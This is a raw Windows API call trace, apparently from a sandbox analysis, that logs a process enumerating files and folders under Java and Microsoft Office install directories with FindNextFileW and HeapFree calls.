	[0136.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.433] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5470cd00, ftCreationTime.dwHighDateTime=0x1d4ca9a, ftLastAccessTime.dwLowDateTime=0xbf8007b0, ftLastAccessTime.dwHighDateTime=0x1d4bd4c, ftLastWriteTime.dwLowDateTime=0xbf8007b0, ftLastWriteTime.dwHighDateTime=0x1d4bd4c, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="parents.exe", cAlternateFileName="")) returned 1
	[0136.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.434] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0136.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0136.434] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1
	[0136.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0136.441] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0136.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4578088 | out: hHeap=0x4f0000) returned 1
	[0136.446] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0136.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4578088 | out: hHeap=0x4f0000) returned 1
	[0136.448] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0136.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4560078 | out: hHeap=0x4f0000) returned 1
	[0136.449] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0136.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4578088 | out: hHeap=0x4f0000) returned 1
	[0136.455] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0136.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4578088 | out: hHeap=0x4f0000) returned 1
	[0136.456] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0136.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4578088 | out: hHeap=0x4f0000) returned 1
	[0136.457] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0136.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4578088 | out: hHeap=0x4f0000) returned 1
	[0136.730] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0136.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0136.733] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0136.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0136.736] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0136.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0136.738] FindNextFileW (in: hFindFile=0x5dd080, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0
	[0136.738] FindClose (in: hFindFile=0x5dd080 | out: hFindFile=0x5dd080) returned 1
	[0136.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0136.738] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0136.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0136.739] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0136.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0136.741] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0136.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0136.744] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0136.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4560078 | out: hHeap=0x4f0000) returned 1
	[0136.745] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0136.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4550070 | out: hHeap=0x4f0000) returned 1
	[0136.747] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0
	[0136.747] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0136.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0136.747] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x9c69f05a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9c69f05a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0136.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0136.751] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x9e4b7603, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9e4b7603, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0136.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0136.754] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0136.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0136.964] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0137.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0137.602] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0137.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0137.974] FindNextFileW (in: hFindFile=0x5dd080, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0137.974] FindClose (in: hFindFile=0x5dd080 | out: hFindFile=0x5dd080) returned 1
	[0137.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0137.974] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0137.974] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0137.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0137.976] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0138.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0138.032] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0138.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0138.040] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0138.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0138.050] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1
	[0138.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0138.050] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0138.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0138.061] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1
	[0138.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0138.068] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0138.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0138.079] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0139.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0139.357] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1
	[0139.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0139.357] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0139.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
